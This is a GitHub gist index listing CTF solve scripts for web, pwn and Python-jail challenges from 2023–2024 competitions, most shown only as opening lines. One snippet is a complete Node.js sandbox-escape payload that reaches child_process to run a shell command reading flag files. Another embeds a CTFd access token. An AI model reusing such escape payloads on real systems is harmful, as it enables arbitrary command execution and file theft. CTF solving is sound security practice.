Skip to content

Instantly share code, notes, and snippets.

@lebr0nli
lebr0nli / solve.py
Created February 25, 2024 15:20
bi0sCTF 2024 - Image Gallery 1 (web)
import httpx
import time
CHALL_URL = "https://ch1688140851.ch.eng.run"
def share() -> None:
with httpx.Client(base_url=CHALL_URL) as client:
try:
r = client.post("/share", json={"id": "x"}, timeout=1)
@lebr0nli
lebr0nli / solve.py
Last active November 5, 2023 09:19
TSG CTF 2023 - bypy (pwn)
import base64
import dis
import marshal
import subprocess
from opcode import opmap
def f(): pass
@lebr0nli
lebr0nli / solve.js
Last active November 6, 2023 14:08
TSG CTF 2023 - Functionless (Misc)
let code = `
Function=this.constructor.constructor;
Array.prototype.toString=Object.prototype.toString;
Array.prototype[Symbol.toStringTag]="=1];console.log(process.mainModule.constructor._load('child_process').execSync('cat f*')+'');//";
Object.prototype.prepareStackTrace=Function;
e=new Error;
x={toString:e.stack}+'';
`.replaceAll('\n', '').replaceAll('(', '\\x28').replaceAll(')', '\\x29');
console.log(code);
if (process.env.DEBUG) {
@lebr0nli
lebr0nli / solve.py
Created October 7, 2023 08:25
Balsn CTF 2023 - kShell (Misc)
from pwn import *
import secrets
TOKEN = b"ctfd_7aecfde25ac2e3bb7174f6521d3e2e5be0451c0e061db725f66ddbb2cac3738e"
_, HOST, PORT = "nc kshell.balsnctf.com 7122".split()
with remote(HOST, PORT) as io:
io.sendline(TOKEN)
token = secrets.token_hex(16)
@lebr0nli
lebr0nli / solve.py
Created September 23, 2023 12:43
ASIS CTF Quals 2023 - yet another calc (web)
from flask import Flask
from base64 import b64encode
CHALL_URL = "http://45.147.229.138:8000/?e="
CHALL_URL = "http://web/?e="
app = Flask(__name__)
@app.route("/")
@lebr0nli
lebr0nli / solve.py
Last active September 18, 2023 00:32
SECCON CTF 2023 Quals - eeeeejs (Web)
from urllib.parse import urlencode
HOST = "http://eeeeejs.seccon.games:3000/"
HOST = "http://localhost:3000/"
HOST = "http://web:3000/"
def html_encode(s):
return "".join(["&#x" + hex(ord(c))[2:] + ";" for c in s])
@lebr0nli
lebr0nli / my_amf3.py
Created September 10, 2023 01:34
HITCON CTF 2023 Quals - AMF (Web/Misc)
import pyamf
from my_wsgi import WSGIGateway
NAMESPACE = "pyamf.remoting.amf3"
class RequestProcessor:
class __amf__:
static = ("gateway",)
@lebr0nli
lebr0nli / solve.py
Last active August 21, 2023 00:23
Bauhinia CTF 2023 - Pyjail 3
from pwn import *
def conn() -> tube:
if args.LOCAL:
return process(["python", "chall.py"])
return remote("chall-us.pwnable.hk", 30038)
def main() -> None:
@lebr0nli
lebr0nli / solve.py
Last active February 6, 2024 13:42
SSTF 2023 - pyJail (Misc)
from pwn import *
HOST = "pyjail.sstf.site"
PORT = "9999"
def conn() -> tube:
if args.LOCAL:
return process(["python", "jail.py"])
return remote(HOST, PORT)
@lebr0nli
lebr0nli / solve.py
Created July 23, 2023 06:43
ImaginaryCTF 2023 - You shall not call Revenge (misc)
from pwn import *
import pickletools
def conn() -> tube:
if args.LOCAL:
return process(["python", "server.py"])
return remote("you-shall-not-call-revenge.chal.imaginaryctf.org", 1337)